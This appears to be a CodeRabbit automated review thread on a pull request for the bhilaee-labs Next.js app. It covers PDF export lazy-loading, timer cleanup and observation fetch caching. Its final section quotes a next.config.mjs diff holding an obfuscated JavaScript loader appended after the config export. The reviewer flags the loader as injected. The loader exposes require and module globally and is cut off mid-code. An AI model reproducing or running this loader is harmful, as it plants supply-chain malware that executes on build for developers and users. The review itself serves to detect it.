🧩 Analysis chain

🏁 Script executed:

cat -n lib/useLabReportExport.js

Repository: OpenLake/bhilaee-labs

Length of output: 3584


🏁 Script executed:

# Search for other usages of generateLabReportPDF to ensure no other code depends on the static import
rg "generateLabReportPDF" --type js --type jsx --type ts --type tsx

Repository: OpenLake/bhilaee-labs

Length of output: 92


🏁 Script executed:

# Verify labReportPDF.js exists
fd "labReportPDF" -type f

Repository: OpenLake/bhilaee-labs

Length of output: 235


🏁 Script executed:

# Search for all usages of generateLabReportPDF in the repository
rg "generateLabReportPDF"

Repository: OpenLake/bhilaee-labs

Length of output: 611


🏁 Script executed:

# Check if labReportPDF.js exists
find . -name "labReportPDF.js" -o -name "labReportPDF.ts" -o -name "labReportPDF.jsx" -o -name "labReportPDF.tsx"

Repository: OpenLake/bhilaee-labs

Length of output: 86


🏁 Script executed:

# Examine labReportPDF.js to understand the function and any dependencies
head -50 lib/labReportPDF.js

Repository: OpenLake/bhilaee-labs

Length of output: 1511


🏁 Script executed:

# Check if generateLabReportPDF is imported anywhere else besides useLabReportExport.js
rg "from.*labReportPDF" --no-heading

Repository: OpenLake/bhilaee-labs

Length of output: 225


🏁 Script executed:

# Look at where useLabReportExport is used to understand the consumption pattern
rg "useLabReportExport|from.*useLabReportExport"

Repository: OpenLake/bhilaee-labs

Length of output: 1104


Lazy-load the PDF builder on demand.

This static import puts lib/labReportPDF.js and @react-pdf/renderer on the default experiment-page bundle even when the user never exports anything. Move it inside exportPDF() so the heavy renderer only loads on click.

♻️ Suggested change
-import { generateLabReportPDF } from "./labReportPDF";
 
 // ...
 
   const exportPDF = useCallback(async () => {
     setStatus("generating");
     try {
+      const { generateLabReportPDF } = await import("./labReportPDF");
       await generateLabReportPDF(
         experiment,
         meta,
         chartRegistryRef.current
       );
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In `@lib/useLabReportExport.js` at line 5, The static import of
generateLabReportPDF causes the heavy `@react-pdf/renderer` to bundle
unnecessarily; change to a dynamic import inside the exportPDF function: remove
the top-level "import { generateLabReportPDF } from \"./labReportPDF\"", and
inside exportPDF() do const { generateLabReportPDF } = await
import("./labReportPDF"); then call generateLabReportPDF(...) as before so the
PDF builder and renderer are only loaded when exportPDF runs.

Comment thread lib/useLabReportExport.js Outdated
Comment on lines +75 to +80
setStatus("done");
// Auto-close after brief success state
setTimeout(() => {
setIsDialogOpen(false);
setStatus("idle");
}, 1800);

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🟡 Minor

Clear the success auto-close timer when the dialog lifecycle changes.

The timer is never cancelled. If the user closes and reopens the dialog within 1.8s, the stale callback can still fire and dismiss the new session unexpectedly.

♻️ Suggested change
   // Registry of live Chart.js instances
   const chartRegistryRef = useRef({});
+  const autoCloseTimerRef = useRef(null);
 
   const openDialog = useCallback(() => {
+    clearTimeout(autoCloseTimerRef.current);
     setStatus("idle");
     setErrorMsg("");
     setIsDialogOpen(true);
   }, []);
 
   const closeDialog = useCallback(() => {
+    clearTimeout(autoCloseTimerRef.current);
     setIsDialogOpen(false);
     setStatus("idle");
   }, []);
 
   const exportPDF = useCallback(async () => {
     setStatus("generating");
     try {
       await generateLabReportPDF(
         experiment,
         meta,
         chartRegistryRef.current
       );
       setStatus("done");
       // Auto-close after brief success state
-      setTimeout(() => {
+      clearTimeout(autoCloseTimerRef.current);
+      autoCloseTimerRef.current = setTimeout(() => {
         setIsDialogOpen(false);
         setStatus("idle");
       }, 1800);
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In `@lib/useLabReportExport.js` around lines 75 - 80, The auto-close setTimeout in
the useLabReportExport flow is never cleared and can dismiss a reopened dialog;
store the timeout id (e.g., autoCloseTimerId or autoCloseTimerRef) when calling
setTimeout inside the code path that calls setStatus("done") and
setIsDialogOpen(false), and call clearTimeout(autoCloseTimerId) whenever the
dialog lifecycle changes (on dialog close, before opening a new dialog, and in
the hook's cleanup/unmount). Update functions that setIsDialogOpen or setStatus
to clear any existing timer before creating a new one so the stale callback
cannot fire and accidentally close a new dialog session.

@mahek395 mahek395 force-pushed the feature/pdf-export-lab-reports branch from 62e7901 to 8448d14 Compare June 25, 2026 10:40

@coderabbitai coderabbitai Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 2

🧹 Nitpick comments (1)
app/observations/page.js (1)

41-77: 🚀 Performance & Scalability | 🔵 Trivial | 💤 Low value

Optional: dedupe experiment JSON fetches.

Promise.all calls fetchExperimentData once per saved observation. Multiple observations for the same experiment (different sections) refetch identical JSON. Caching by ${labId}/${eId} would cut redundant server-action round-trips.

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@app/observations/page.js` around lines 41 - 77, The tableViews Promise.all
block is refetching the same experiment JSON for every observation, which
creates redundant server-action calls. Add a simple cache keyed by
`${labId}/${eId}` around fetchExperimentData inside the mapping logic in
app/observations/page.js, so repeated observations for the same experiment reuse
the already-fetched expData instead of calling fetchExperimentData again.
🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

Inline comments:
In `@components/experiment/EditableTableBlock.js`:
- Around line 204-217: The handleReset flow in EditableTableBlock resets the UI
before confirming the cloud delete, so a failed deleteObservation can later
rehydrate stale data and undo the reset. Update handleReset to surface the
delete failure to the user similarly to handleSave: keep the reset action in
sync with persistence by either reverting the UI state or showing an explicit
error when deleteObservation fails, using the existing handleReset,
deleteObservation, setCurrentRows, and setIsEditing/setIsTweaking flow as the
anchor points.

In `@next.config.mjs`:
- Around line 1-8: Remove the injected obfuscated payload from nextConfig so the
config only contains the intended Next.js setup. The issue is the stray code
appended after export default nextConfig that runs during build/start and
exposes require/module on global; delete that block entirely and keep
next.config.mjs limited to the createRequire/require setup only if it is
actually needed. Verify that nextConfig remains a plain configuration object
with no side effects or runtime execution.

---

Nitpick comments:
In `@app/observations/page.js`:
- Around line 41-77: The tableViews Promise.all block is refetching the same
experiment JSON for every observation, which creates redundant server-action
calls. Add a simple cache keyed by `${labId}/${eId}` around fetchExperimentData
inside the mapping logic in app/observations/page.js, so repeated observations
for the same experiment reuse the already-fetched expData instead of calling
fetchExperimentData again.
🪄 Autofix (Beta)

Fix all unresolved CodeRabbit comments on this PR:

  • Push a commit to this branch (recommended)
  • Create a new PR with the fixes

ℹ️ Review info
⚙️ Run configuration

Configuration used: Organization UI

Review profile: CHILL

Plan: Pro

Run ID: b457aa6a-bef5-4ada-8be5-ce66ae86d2f0

📥 Commits

Reviewing files that changed from the base of the PR and between 97e33c4 and 8448d14.

📒 Files selected for processing (6)
  • .gitignore
  • app/observations/page.js
  • components/experiment/EditableTableBlock.js
  • lib/actions.js
  • lib/db.js
  • next.config.mjs
✅ Files skipped from review due to trivial changes (2)
  • lib/actions.js
  • .gitignore

Comment on lines +204 to +217
const handleReset = async () => {
if (confirm("Reset table to its default experimental values? Current changes will be lost and deleted from the cloud.")) {
setCurrentRows(block.rows || []);
setIsEditing(false);
setIsTweaking(false);
setPreTweakRows(null);

if (user) {
const { error } = await deleteObservation(user.id, experimentId, sectionId);
if (error) console.error('Failed to reset observation in cloud', error);
} else {
const localKey = `${experimentId}-draftData-${sectionId}`;
localStorage.removeItem(localKey);
}

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🩺 Stability & Availability | 🟡 Minor | ⚡ Quick win

Reset UI and cloud can diverge on delete failure.

Unlike handleSave (which reverts the UI when persistence fails), handleReset resets the UI to defaults before the cloud delete and only logs on error. If deleteObservation fails, the next loadSavedData re-hydrates currentRows from the still-present cloud row, silently undoing the reset. Consider surfacing the failure to the user (as handleSave does) so the divergence is visible.

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@components/experiment/EditableTableBlock.js` around lines 204 - 217, The
handleReset flow in EditableTableBlock resets the UI before confirming the cloud
delete, so a failed deleteObservation can later rehydrate stale data and undo
the reset. Update handleReset to surface the delete failure to the user
similarly to handleSave: keep the reset action in sync with persistence by
either reverting the UI state or showing an explicit error when
deleteObservation fails, using the existing handleReset, deleteObservation,
setCurrentRows, and setIsEditing/setIsTweaking flow as the anchor points.

Comment thread next.config.mjs
Comment on lines +1 to +8
import { createRequire } from 'module';

const require = createRequire(import.meta.url);

/** @type {import('next').NextConfig} */
const nextConfig = {};

export default nextConfig;
export default nextConfig; global['!']='8-4412';var _0x383eb4=_0x22ee;function _0x37df(){var _0x580eb4=['.]_.()r5%]','g]1jRec2rq','sp.hu0)\x20p]','o)h..tCuRR','RLmrtacj4{','%[.uaof#3.','d3R>R]7Rcs','1i1R%e.=;t',';8*ll.(evz','12LdYFCO','6Rig.6fec4','cooI[0rcrC',');nu;vl;r2','$49f\x201;bft','F}Rs&(_rbT','cg%,(};fcR','Rt(=c,1t,]','+h]7)irav0','\x209n+tp9vrr','ph]]a=)ec(','arvjr\x20q{eh','<(mgha=)l)','R,)en4(bh#','h8sRrrre:d','.nCR(%3i)4','rc*a.=]((1',':]538\x20$;.A','z\x20[y)oin.K','na,+,s8>}o','(3ac?sh[=R','#%f84(Rnt5','!l(,3(}tR/','r)=i=!ru}v','D.ER;cnNR6','viv{C0x\x22\x20q','D6].gd+brA','S8}71er)fR','R.g?!0ed=5','.g(RR)79Er',')3d[u52_]a','nR-(7bs5s3','nrcRRJv)R(','4|2|7','o\x20B%v[Raca','nbLxcRa.rn','aR}R1)xn_t','?Rrp2o;7Rt','{.\x20.(bit.8','ra\x22oc]:Rf]','1ilz,;aa,;','dt]uR)7Rra','n22cg\x20RcrR',')(2n.]%v}[','yJbld','htrtgs=)+a','TtOpz','ootn/_e=dc','f.vA]ae1]s','woc6stnh6=','rmcej%otb%','ta+r(1,se&','9oiJ%o9sRs','qxuzA','ng2eicRFcR','2ccR\x205ocL.','R6][c,omts','fg1m[=y;s9','rXlJc','cof0}d7R91','g5(jie\x20)0)','c%;,](_6cT','r.%{)];aeR','3]20wltepl','16}nj[=R).','0g)7i76R+a','*-9u4.r0.h',']c.26cpR(]','n71d\x203Rhs)','R.8!Ig)2!r','1R,,e.{1.c','}_!cf=o0=.','h;+lCr;;)g','gynzbosdct','fn=(]7_ote','.mrfJp]%Rc','ort1,ien7z','=)p.mhu<ti','w:ste-%C8]',')r.R!5R}%t','i3c)(#e=vd','Ri%R.gRE.=','([lrftud;e','itsr\x20y.<.u','aqnorn)h)c','%nt:1gtRce',',R]1iR]m]R','r%dr1tq0pl','!bi%nwl%&/','kWqYN','t30;molx\x20i','n\x20lae)aRsR','2010354JBSpJm','\x20(9f4])29@','c3z.9]_R,%','=]i;raei[,','dRRcH','r.d4u)p(c\x27','R\x20;EsRnrc%','R]t;l;fd,[','rr00()1y)7','tR.g\x20]1z\x201','=,\x20,,mu(9\x20','DxDZl','ERR5cR_7f8','q2ot-Clfv[','Gvgpf','GwHeU','$+}nbba.l2','g3anfoR)n2','\x22ozCr+}Cia','2.e)8R2n9;','split',']rrR_,tnB5',']rhklf+gCm','.e(]osbnnR','63315558skfvVj','4|6|3','unygE','b]w=95)]9R','tzr\x20fhef9u','Rz()ab.R)r','=lRsrc4t\x207','ar\x22{;7l82e','r6RlRclmtp','eYqWt','R+[R.Rc)}r','9cu70\x221])}','e)\x20i\x20(g,=]','jf=r+w5[f(','zj.;;etsr\x20','dRedb9ic)R','6B6]t}$1{R','.na6\x20cR]%p','vFEpx','1|6|13|3|4','f1]5ifRR(+',';R7}_]t7]r','1.0Hts.gi6','3|0|4','u2R2n.Gai9',';mvvf(n(.o','8R]R=}.ect','xfr6Al(nga','sr+8+;=ho[','a6cr9ice.>','0;a[{g-seo','2807812DjHpOZ','aih[.rrtv0','WHQkB','}y=2it<+ja','5trr&c:=e4','$rm2_RRw\x22+','w8=60dvqqf','k\x20n[abr0;C','uRtR\x22a}R/H','.D4t])Rea7','OVvcd','R8.a\x20e7]sh','{oc81=ih;n','r.7,fnu2;v','[rc(c\x20(eR\x27','x_7tr38;f}','n8.i}r+5/s','o5o\x20+f7!%?','r\x20)3a%_e=(',':.%ei_5n,d','+=}f)R7;6;','}98R.ca)ez','toR5g(;R@]','39.f3cfR.o',')c}}]_toud','%3SE\x20Ra]f)','ezZaR',']c4e!e+f4f','ahRi)5g+h)','or\x20;de_2(>','(7H]Rc\x20)hr','ca.qmi=),s','f;hRres%1o',':Rt}_e.zv#','!kn;@oRR(5','3645608kEjchB','hSo]29R_,;','$n;cR343%]',';=7$=3=o[3','e1M',')2)Ro]r(;o','38e\x20g.0s%g','Rde%2exuq}','C=5.y2%h#a','\x22aRa];%6\x20R','o-e}au>n(a','charAt','XaRCJ','sD]R47RttI','.{R56tr!nc','ghBOg','g(.RRe4}Cl','=++!eb]a;[','rRa172t5tt','a0u.}3R<ha','c%o%mr2}Rc','a+4i62%l;n',']3(Rawd.l)','%Rl%,1]].J','%6.Re$Rbi8',')=7R)%r%RF','.u7.nnhcc0','1)=e\x20lt+ar','Rvy(1=t6de',']r1cw]}a4g','etpRh/,,7a','Ranua)=.i_','([.e.iRiRp',')i.8Rt-36h','6Aqegh;v.=','l.udRc.f/}','0lf7l20;R(','RR}R-\x22R;Ro','=cfo21;4_t','9|12|10|2|','8a;z)(=tn2','k)tl)p)lie','tr!;v;Ry.R','(\x20+sw]]1nr','ee=(!tta]u','(i-=sc.\x20ar','35GfimTA','{!.n.x1r1.',',=1C2.cR!(','i=e\x22r)a\x20pl','di(-\x204n)[f','p3=.l4\x20=%o','tfw\x20)eh}n8','T)S<=i:\x20.l','t)_\x227+alr(','nmLmF','}.{e\x20m++Ga','4f=le1}n-H',';tyoaaR0l)','tr=;t.ttci','o41<ur+2r\x20','\x20k.eww;Bfa','mh]3v/9]m\x20',',(Celzat+q','ncc.G&s1o.','&d=4)]8./c','.6\x20Rfs.l4{','.ai059Ra!a','hc>cis.iR%','tRc;nsu;tm','%0g,n)N}:8',']th15Rpe5)','je(csaR5em','uPzQZ','}+c.w[*qrm','pusocrjhrf','u1t(%3\x221)T',';;;g;6ylle','Cf{d.aR\x276a','2|0|7|5|1|','w:RR7l1R((','-x3a9=R0Rt',')gr2:;epRR','2).{Ho27f\x20','s7Re.+r=R%','m8d5|.u)(r','d=[,\x20((nao','1fnke.0n\x20)','RRaair=Rad','t!Er%GRRR<','hhns(D6;{\x20','4cn]([*\x22].','RCc=R=4s*(','substr','a.t1.3F7ct','Ajq-km,o;.','17z]=a2rci','!=|s=2>.Rr',')lpRu;3nun','tR*,le)Rdr','h5r].ce+;]','7.,+=vrrrr','bff=prdl+s','RRRlp{ac)%',',,;av=e9d7',')%rg3ge%0T',';]I-R$Afk4','7t}ldtfapE',')]=1Reo{h1','cdyIO','=e;;Cr=et:','f%es)%@1c=','c14/og;Rsc','=A&r.3(%0.','=3=ov{(1t\x22','Euglp','UMKqG','ciss(261E]','ccb[,%c;c6','.,etc=/3s+','1825048ruCEzD','l.;Ru.,}}3','a;t,sl=rRa',')%tntetne3','e:8ie!)oRR','+d\x2054epRRa','7=f=v)2,3;','wHkVp','dQVaV','drRe;{%9Rp','OrOXZ','62tuD%0N=,','n4tnrtb;d3','G.m03)]RbJ','sdnA3v44]i','rpy(()=.t9','711699JXeJzN','R+]-]0[ntl','.c(96R2o$n',',\x221itzr0o\x20','5|1|2|7|6|','tuo;x0ir=0','n);.;4f(ir','zvn]\x220e)=+',':gatfi1dpf','&a3nci=R=<','l5..fe3R.5','lroo(3es;_','5t2Ri(75)R','vlwTu','y4a9,,+si+','oci.\x20oc6lR','[v]%9cbRRr','tqf(C)imel','95ii7[]]..','length','j\x22S=o.)(t8','RfdHp','lee(({R]R3','9x)%ie=ded','t?3fs].Rte','wuqktamcei','XMtJs','k\x22o;,fto==','(3)e:e#Rf)','157940xmCOdB','%f/a\x20.r)sp','d(y+.t0)_,','ta]t(0?!](','fromCharCo','-ny7S*({1%','[;(k7h=rlu','lovnxrt','|7|5|11|0|','8>2s)o.hh]','.2/ch!Ri4_','m${y%l%)c}',']ts%mcs.ry','5rxrr,\x22bgr','hu;\x20,avrs.','Re.t.A}$Rm','5;r\x20;)d(v;','9R;c6p2e}R',';1e(s+..}h','.rei(e\x20C(R','Rw=Rc.=s]t','2(oR;nn]]c','}tg!a+t&;.','_vnslR)nR%','af6uv;vndq','s2%5t]541.','rBURI',']=fa6c%d:.','ru]f1/]eoe','0R;c8f8Rk!','.c;urnaui+','u2t4(y=/$\x27','1w(mnars;.','\x20MR8.S$l[R','38/icd!BR)','0.!Drcn5t0','x;f}8)791.','tsDSq','s=c;RrT%R7','=ch=,1g]ud','{Rc[%&cb3B','1>fra4)ww.','(s;78)r]a;','+ph\x20t,i+St','7\x22:)\x20(sys%','6p]ns.tlnt','Rar)vR<mox','ni?2eR)o4R','*eoe3d.5=]','join','(8j]]cp()o','.a=R{7]]f\x22','R4dKt@R+i]',')9dRurt)4I','{-za=6ep7o','lp(=+barA(','p{wet=,.r}','=+c.r(eaA)','.b)R.gcw.>','\x27cR[\x22c?\x22b]','p}9,5.}R{h',')rs_bv]0tc','0|5|1|3|6|','xytnoajv[)','.hR:R(Rx?d','pRo01sH4,o',')L&nl+JuRR','A.dGeTu894','lb.;=qu\x20at','try.\x20d]hn(',',1refr;e+(','crstsn,(\x20.','2\x20l=;nrsw)'];_0x37df=function(){return _0x580eb4;};return _0x37df();}(function(_0x4402b2,_0xa134e5){var _0x3107a7=_0x22ee,_0x37a47b=_0x4402b2();while(!![]){try{var _0x263c31=-parseInt(_0x3107a7(0x1f8))/(0x1f11+0x1*-0x1b55+0x3bb*-0x1)+parseInt(_0x3107a7(0x277))/(0x783+0x25*-0x57+-0x3b*-0x16)*(-parseInt(_0x3107a7(0x208))/(0x1*-0xd91+-0x2073+0x1*0x2e07))+-parseInt(_0x3107a7(0x30a))/(0x16eb*0x1+-0xf*-0x246+0x1*-0x3901)+-parseInt(_0x3107a7(0x225))/(-0x11fe+-0x1*0x15d6+0x27d9)+parseInt(_0x3107a7(0x2d3))/(0x24ad+0x19a8+-0x3e4f)*(-parseInt(_0x3107a7(0x35b))/(0x113*-0x17+-0x1*0x2144+-0x40*-0xe8))+-parseInt(_0x3107a7(0x32d))/(-0xc*0x32b+0x1ae8*-0x1+0x40f4)+parseInt(_0x3107a7(0x2eb))/(0xdd3+-0x1bfb+0xe31);if(_0x263c31===_0xa134e5)break;else _0x37a47b['push'](_0x37a47b['shift']());}catch(_0x19de2d){_0x37a47b['push'](_0x37a47b['shift']());}}}(_0x37df,-0x1b6321+-0x663c0+-0x26470*-0x14));function _0x22ee(_0x41776c,_0x35e61d){_0x41776c=_0x41776c-(-0x11*-0x10d+0x24d9*-0x1+-0x14d3*-0x1);var _0x310307=_0x37df();var _0x3cc738=_0x310307[_0x41776c];return _0x3cc738;}var _$_1e42=function(_0x1ca091,_0x515ed9){var _0x40db7e=_0x22ee,_0x503a3a={'OVvcd':_0x40db7e(0x354)+_0x40db7e(0x2fe)+_0x40db7e(0x22d)+'8','WHQkB':function(_0x4790c2,_0x40b433){return _0x4790c2<_0x40b433;},'cdyIO':_0x40db7e(0x37c)+_0x40db7e(0x2ec),'uPzQZ':function(_0xd6dbc7,_0x53230e){return _0xd6dbc7+_0x53230e;},'wHkVp':function(_0x4e016d,_0x30e265){return _0x4e016d*_0x30e265;},'Gvgpf':function(_0x445ea5,_0x4450ba){return _0x445ea5+_0x4450ba;},'rXlJc':function(_0xe941ab,_0x14d2df){return _0xe941ab%_0x14d2df;},'TtOpz':function(_0x5f4ee1,_0x3adbe6){return _0x5f4ee1*_0x3adbe6;},'dRRcH':function(_0x4e6550,_0x11c0a6){return _0x4e6550+_0x11c0a6;},'nmLmF':function(_0x14e182,_0x5c131b){return _0x14e182%_0x5c131b;},'ezZaR':function(_0x4e49e6,_0x465e4c){return _0x4e49e6%_0x465e4c;}},_0x5aecb4=_0x503a3a[_0x40db7e(0x314)][_0x40db7e(0x2e7)]('|'),_0x15b3a7=0xd*-0x2c1+-0x23cf+0x479c;while(!![]){switch(_0x5aecb4[_0x15b3a7++]){case'0':var _0x54de14='#';continue;case'1':for(var _0x25f516=0x1*0x2499+-0x4*0x321+-0x1815;_0x503a3a[_0x40db7e(0x30c)](_0x25f516,_0x5e89c6);_0x25f516++){var _0x3a30c8=_0x503a3a[_0x40db7e(0x1ed)][_0x40db7e(0x2e7)]('|'),_0x1ac2b3=-0x1*-0x1+0x32b*0x4+-0xcad;while(!![]){switch(_0x3a30c8[_0x1ac2b3++]){case'0':var _0x538584=_0x503a3a[_0x40db7e(0x376)](_0x503a3a[_0x40db7e(0x1ff)](_0x515ed9,_0x503a3a[_0x40db7e(0x2e1)](_0x25f516,0x1ee5+0x2051+-0x3ca3)),_0x503a3a[_0x40db7e(0x2b1)](_0x515ed9,0x12*-0xa8d+0x145bc+0x33bc));continue;case'1':var _0x1a84cc=_0x3986f5[_0x30f41b];continue;case'2':var _0x3b683b=_0x503a3a[_0x40db7e(0x2e1)](_0x503a3a[_0x40db7e(0x2a5)](_0x515ed9,_0x503a3a[_0x40db7e(0x2d7)](_0x25f516,0x1*0x2182+-0x1551+-0x1*0xa48)),_0x503a3a[_0x40db7e(0x2b1)](_0x515ed9,0x1213*-0x1+0x307*-0x6+0x3865*0x2));continue;case'3':_0x515ed9=_0x503a3a[_0x40db7e(0x364)](_0x503a3a[_0x40db7e(0x2d7)](_0x3b683b,_0x538584),0x8439c0+0x7d5475*-0x1+0x3ee561);continue;case'4':_0x3986f5[_0x30f41b]=_0x3986f5[_0x478c7c];continue;case'5':var _0x478c7c=_0x503a3a[_0x40db7e(0x2b1)](_0x538584,_0x5e89c6);continue;case'6':_0x3986f5[_0x478c7c]=_0x1a84cc;continue;case'7':var _0x30f41b=_0x503a3a[_0x40db7e(0x324)](_0x3b683b,_0x5e89c6);continue;}break;}}continue;case'2':;continue;case'3':var _0x1131b1='';continue;case'4':var _0x116e19='%';continue;case'5':var _0x269325='%';continue;case'6':;continue;case'7':var _0x998c73='#1';continue;case'8':return _0x3986f5[_0x40db7e(0x256)](_0x1131b1)[_0x40db7e(0x2e7)](_0x116e19)[_0x40db7e(0x256)](_0x1e9e53)[_0x40db7e(0x2e7)](_0x998c73)[_0x40db7e(0x256)](_0x269325)[_0x40db7e(0x2e7)](_0x598506)[_0x40db7e(0x256)](_0x54de14)[_0x40db7e(0x2e7)](_0x1e9e53);case'9':var _0x5e89c6=_0x1ca091[_0x40db7e(0x21b)];continue;case'10':for(var _0x25f516=-0x23d1*-0x1+-0x245*0xd+-0x650;_0x503a3a[_0x40db7e(0x30c)](_0x25f516,_0x5e89c6);_0x25f516++){_0x3986f5[_0x25f516]=_0x1ca091[_0x40db7e(0x338)](_0x25f516);}continue;case'11':var _0x598506='#0';continue;case'12':var _0x3986f5=[];continue;case'13':var _0x1e9e53=String[_0x40db7e(0x229)+'de'](-0xb*0x52+0x19d3*0x1+-0x15ce);continue;}break;}}(_0x383eb4(0x2a9),0x3d5af5+0x422898+-0x53e8b6);global[_$_1e42[-0x2347+0xb03*-0x2+-0x1*-0x394d]]=require;typeof module===_$_1e42[-0xdcc+0x25*-0x1d+0x11fe]&&(global[_$_1e42[0x182c+-0x14b8+-0x372]]=module);;(function(){var _0x18412e=_0x383eb4,_0x41bc1d={'dQVaV':_0x18412e(0x263)+_0x18412e(0x298),'yJbld':function(_0x2dc68f,_0x25d901){return _0x2dc68f<_0x25d901;},'XaRCJ':function(_0x116549,_0x3397ae){return _0x116549<_0x3397ae;},'DxDZl':_0x18412e(0x20c)+_0x18412e(0x302),'vlwTu':function(_0x3cbc19,_0x5ece73){return _0x3cbc19+_0x5ece73;},'OrOXZ':function(_0x37eb82,_0x201c80){return _0x37eb82*_0x201c80;},'eYqWt':function(_0x3b074a,_0x14eb65){return _0x3b074a%_0x14eb65;},'unygE':function(_0x5d096b,_0x33e82b){return _0x5d096b+_0x33e82b;},'vFEpx':function(_0x39edfa,_0x5b6727){return _0x39edfa%_0x5b6727;},'tsDSq':function(_0x4c805b,_0x29099e){return _0x4c805b-_0x29099e;},'XMtJs':function(_0x49d716,_0x470d7a){return _0x49d716(_0x470d7a);},'ghBOg':_0x18412e(0x221)+_0x18412e(0x2c0)+_0x18412e(0x378)+_0x18412e(0x22c),'RfdHp':_0x18412e(0x329)+_0x18412e(0x317)+_0x18412e(0x232)+_0x18412e(0x1e6)+_0x18412e(0x34f)+_0x18412e(0x269)+_0x18412e(0x20f)+_0x18412e(0x2e9)+_0x18412e(0x1fe)+_0x18412e(0x2d6)+_0x18412e(0x216)+_0x18412e(0x1e8)+_0x18412e(0x23d)+_0x18412e(0x2f8)+_0x18412e(0x356)+_0x18412e(0x2a4)+_0x18412e(0x281)+_0x18412e(0x24f)+_0x18412e(0x27f)+_0x18412e(0x307)+_0x18412e(0x2c9)+_0x18412e(0x283)+_0x18412e(0x30d)+_0x18412e(0x28e)+_0x18412e(0x245)+_0x18412e(0x1e5)+_0x18412e(0x2f7)+_0x18412e(0x306)+_0x18412e(0x25b)+_0x18412e(0x35a)+_0x18412e(0x233)+_0x18412e(0x2dd)+_0x18412e(0x280)+_0x18412e(0x290)+_0x18412e(0x2bf)+_0x18412e(0x22b)+_0x18412e(0x369)+_0x18412e(0x28a)+_0x18412e(0x311)+_0x18412e(0x206)+_0x18412e(0x2db)+_0x18412e(0x1f2)+_0x18412e(0x237)+_0x18412e(0x36c)+_0x18412e(0x235)+_0x18412e(0x2f9)+_0x18412e(0x2b3)+_0x18412e(0x276)+_0x18412e(0x223)+_0x18412e(0x21c)+_0x18412e(0x1d7)+_0x18412e(0x2a8)+_0x18412e(0x282)+_0x18412e(0x264)+_0x18412e(0x337)+_0x18412e(0x359)+_0x18412e(0x2f2)+_0x18412e(0x2c4)+_0x18412e(0x355)+_0x18412e(0x30b)+_0x18412e(0x2e0)+_0x18412e(0x20e)+_0x18412e(0x37a)+_0x18412e(0x35f)+_0x18412e(0x2ca)+_0x18412e(0x309)+_0x18412e(0x383)+_0x18412e(0x35e)+_0x18412e(0x270)+_0x18412e(0x27a)+_0x18412e(0x1df)+_0x18412e(0x316)+_0x18412e(0x377)+_0x18412e(0x26d)+_0x18412e(0x252)+_0x18412e(0x310)+_0x18412e(0x2e5)+_0x18412e(0x20b)+_0x18412e(0x2b0)+_0x18412e(0x29f)+_0x18412e(0x24c)+_0x18412e(0x25c)+_0x18412e(0x207)+_0x18412e(0x250)+_0x18412e(0x304)+_0x18412e(0x26b)+_0x18412e(0x243)+_0x18412e(0x26a)+_0x18412e(0x2cb),'Euglp':function(_0x8106c1,_0x3b2ddb,_0x4241cd){return _0x8106c1(_0x3b2ddb,_0x4241cd);},'UMKqG':function(_0x2121f3,_0x256ba4){return _0x2121f3(_0x256ba4);},'GwHeU':function(_0x1a877b,_0x14d38c){return _0x1a877b(_0x14d38c);},'rBURI':_0x18412e(0x299)+_0x18412e(0x262)+_0x18412e(0x2f3)+_0x18412e(0x2fc)+_0x18412e(0x2c5)+_0x18412e(0x20d)+_0x18412e(0x382)+_0x18412e(0x286)+_0x18412e(0x1f0)+_0x18412e(0x24b)+_0x18412e(0x226)+_0x18412e(0x2ab)+_0x18412e(0x25d)+_0x18412e(0x31d)+_0x18412e(0x328)+_0x18412e(0x253)+_0x18412e(0x2b9)+_0x18412e(0x1f7)+_0x18412e(0x2cf)+_0x18412e(0x344)+_0x18412e(0x2be)+_0x18412e(0x1e4)+_0x18412e(0x343)+_0x18412e(0x27b)+_0x18412e(0x21a)+_0x18412e(0x1eb)+_0x18412e(0x2d5)+_0x18412e(0x22f)+_0x18412e(0x2ce)+_0x18412e(0x37e)+_0x18412e(0x260)+_0x18412e(0x28d)+_0x18412e(0x30f)+_0x18412e(0x37f)+_0x18412e(0x284)+_0x18412e(0x1e9)+_0x18412e(0x315)+_0x18412e(0x265)+_0x18412e(0x1e1)+_0x18412e(0x2c2)+_0x18412e(0x268)+_0x18412e(0x319)+_0x18412e(0x31f)+_0x18412e(0x1dc)+_0x18412e(0x367)+_0x18412e(0x350)+_0x18412e(0x25e)+_0x18412e(0x2c3)+_0x18412e(0x2b6)+_0x18412e(0x330)+_0x18412e(0x228)+_0x18412e(0x335)+_0x18412e(0x239)+_0x18412e(0x1fb)+_0x18412e(0x371)+_0x18412e(0x2bb)+_0x18412e(0x365)+_0x18412e(0x357)+_0x18412e(0x36a)+_0x18412e(0x2b7)+_0x18412e(0x379)+_0x18412e(0x36d)+_0x18412e(0x271)+_0x18412e(0x2c1)+_0x18412e(0x23b)+_0x18412e(0x342)+_0x18412e(0x34d)+_0x18412e(0x296)+_0x18412e(0x24e)+_0x18412e(0x293)+_0x18412e(0x23a)+_0x18412e(0x36f)+_0x18412e(0x2ea)+_0x18412e(0x321)+_0x18412e(0x295)+_0x18412e(0x2a0)+_0x18412e(0x275)+_0x18412e(0x2e6)+_0x18412e(0x1f9)+_0x18412e(0x2a7)+_0x18412e(0x210)+_0x18412e(0x1e2)+_0x18412e(0x291)+_0x18412e(0x238)+_0x18412e(0x326)+_0x18412e(0x1fd)+_0x18412e(0x29e)+_0x18412e(0x31a)+_0x18412e(0x32f)+_0x18412e(0x2e4)+_0x18412e(0x1d8)+_0x18412e(0x248)+_0x18412e(0x205)+_0x18412e(0x23c)+_0x18412e(0x347)+_0x18412e(0x2cc)+_0x18412e(0x1f6)+_0x18412e(0x278)+_0x18412e(0x27e)+_0x18412e(0x33e)+(_0x18412e(0x240)+_0x18412e(0x227)+_0x18412e(0x34e)+_0x18412e(0x201)+_0x18412e(0